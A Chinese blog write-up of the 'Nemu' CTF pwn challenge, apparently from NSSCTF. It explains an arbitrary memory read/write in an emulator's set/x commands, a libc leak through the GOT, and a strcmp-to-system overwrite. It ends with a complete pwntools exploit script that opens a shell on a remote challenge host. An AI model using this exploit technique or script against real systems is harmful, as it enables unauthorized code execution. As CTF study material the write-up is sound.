Nemu-Wp

题目附件我已上传到我的Github,有需要的可以自行下载,复现该题目时,远程环境我使用的是NSSCTF的环境。

下载附件后,发现有四个文件,一个源码(nemu_source_code),一个elf文件(nemu),一个libc文件(libc-2.23.so),还有一个查了以后才知道是Apple Desktop Service Store(.DS_Store),做题过程中发现没啥用好像。

老流程,将nemu放入IDA进行反汇编,反汇编出来有一大堆东西,可以在侧边看见有各种形如:cmd_的函数名,可以执行各种指令,初步猜测是在模拟一个bash之类的东西,随后,我去网上搜了一下Nemu,发现这是南京大学的一个开源的调试器项目:Nemu,有兴趣的可以去看看,下面对各个函数逐步分析。

先把程序放入虚拟机运行,发现运行不了,报出如图的错误:

这是由于libreadline.so.6已经过时了,用libreadline.so.8就行了,使用如下命令,来创建软链接:

1
2
cd /lib/x86_64-linux-gnu/
sudo ln -s libreadline.so.8 libreadline.so.6

这时就发现已经可以运行了,运行起来之后输入help,查看有哪些指令可以用,发现一共有10条指令可以用:

  • help:查看所有指令,以及其作用
  • c:继续执行程序(有点像gdb中的c命令)
  • q:退出程序
  • si:单步执行程序
  • info:显示所有的断点信息(后面可以用来泄露libc)
  • x:读取内存的内容
  • p:显示变量与数值
  • w:建立断点
  • d:删除断点
  • set:写入内存

进入ida分析以后发现,x指令与set指令在对内存进行读写时,未进行验证,也就是说可以任意地址读写。

分析一下读写的函数vaddr_writevaddr_read,可以发现读写都是通过对pmem的偏移来实现的,而pmem位于0x06A3B80的位置,所以我们只能读写这个地址以上的地址。

而通过对scan watchpoint这个函数的分析可以看出,断点保存在一个链表里,head的next位即是下一个断点,而head是一个结构体,存在old_value,new_value等属性。

那么利用思想就是先设置一个断点,让head不为NULL,然后利用任意地址写的功能,向head中写入got表中的地址,然后利用info函数打印断点信息,来泄露libc中的地址,从而计算出libc的基址,由于got表可写,所以利用set任意地址写入,向head写入strcmp的got表的地址,并设置断点,使其值为计算出的system的函数的地址,然后输入/bin/sh\x00即可getshell。

由于old_value位只有四个字节,所以泄漏的时候低位和高位是分开的,其余的位数存在于new_value中,所以需要分两次接受数据。

然后又由于写入与读取都是通过结构体的偏移来实现的,可以在ida中查看到,old_value的位置位于head偏移0x30的位置,所以读写的时候需要减去0x30。

这里要感谢Ayaka师傅的指点,我写的时候想了很久为什么需要减去0x30,没有想起来结构体的偏移这回事。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from sgtpyutils.logger import logger

io=remote('1.14.71.254',28964)
#io=process('./nemu')
elf=ELF('./nemu')
libc=ELF('./libc-2.23.so')
context.arch='amd64'
context.log_level='debug'


pmem_addr=0x6A3B80
head_addr=0x86A3FC8

def do_cmd(_cmd):
io.recvuntil("(nemu) ")
io.sendline(str(_cmd))

def mem_set(addr,data):
io.recvuntil("(nemu) ")
io.sendline('set {addr} {data}'.format(addr=hex(addr-pmem_addr),data=hex(data)))

do_cmd('w $rax')

free_got=elf.got['free']

mem_set(head_addr,0x60eff0)

do_cmd('info w')

#gdb.attach(io)
#pause()

io.recvuntil('0x')

low_addr = int(io.recv(8),16)
io.recvuntil('0x')

high_addr = int(io.recv(4),16)

free_addr=low_addr+(high_addr*0x100000000)

libc_base=free_addr-libc.symbols['free']


logger.info("free_got: " + hex(free_got))

logger.info('libc_base:' + hex(libc_base))

sys_addr = libc_base+libc.symbols['system']



mem_set(head_addr,0)
strcmp_got=elf.got['strcmp']

mem_set(head_addr-0x8,strcmp_got-0x30)

do_cmd('w ' + hex(sys_addr))

io.recvuntil("(nemu) ")

io.sendline(b'/bin/sh\x00')

#gdb.attach(io)
#pause()

io.interactive()

最后,我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2hrjujuau7c4s

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2023 h1J4cker
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信